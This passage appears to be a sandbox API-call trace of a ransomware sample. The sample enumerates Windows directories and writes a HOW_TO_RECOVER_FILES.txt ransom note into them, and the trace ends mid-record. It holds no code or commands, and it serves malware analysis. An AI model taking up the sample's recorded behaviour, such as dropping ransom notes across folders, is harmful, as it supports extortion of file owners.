lpBuffer="C:\\$GetCurrent\\SafeOS", lpFilePart=0x0) returned 0x15 [0068.796] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.796] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.797] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0068.797] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0068.797] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0068.797] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0068.797] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0068.797] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0068.797] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee860) returned 1 [0068.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee820) returned 1 [0069.124] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ee370, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\SafeOS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2e [0069.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee890) returned 1 [0069.125] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\$getcurrent\\safeos\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0069.126] GetFileType (hFile=0x6b0) returned 0x1 [0069.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee800) returned 1 [0069.126] GetFileType (hFile=0x6b0) returned 0x1 [0069.127] WriteFile (in: hFile=0x6b0, lpBuffer=0x31c3238*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ee958, lpOverlapped=0x0 | out: lpBuffer=0x31c3238*, lpNumberOfBytesWritten=0x1f6ee958*=0x5d0, lpOverlapped=0x0) returned 1 [0069.128] CloseHandle (hObject=0x6b0) returned 1 [0069.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee920) returned 1 [0069.129] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212", nBufferLength=0x105, lpBuffer=0x1f6ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212", lpFilePart=0x0) returned 0x15 [0069.129] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x1f6ee640 | out: lpFindFileData=0x1f6ee640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0069.336] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0069.337] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0069.338] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0069.339] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0069.339] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0069.339] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0069.339] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0069.339] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0069.339] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0069.340] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0069.341] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0069.342] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f6ee600 | out: lpFindFileData=0x1f6ee600*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, 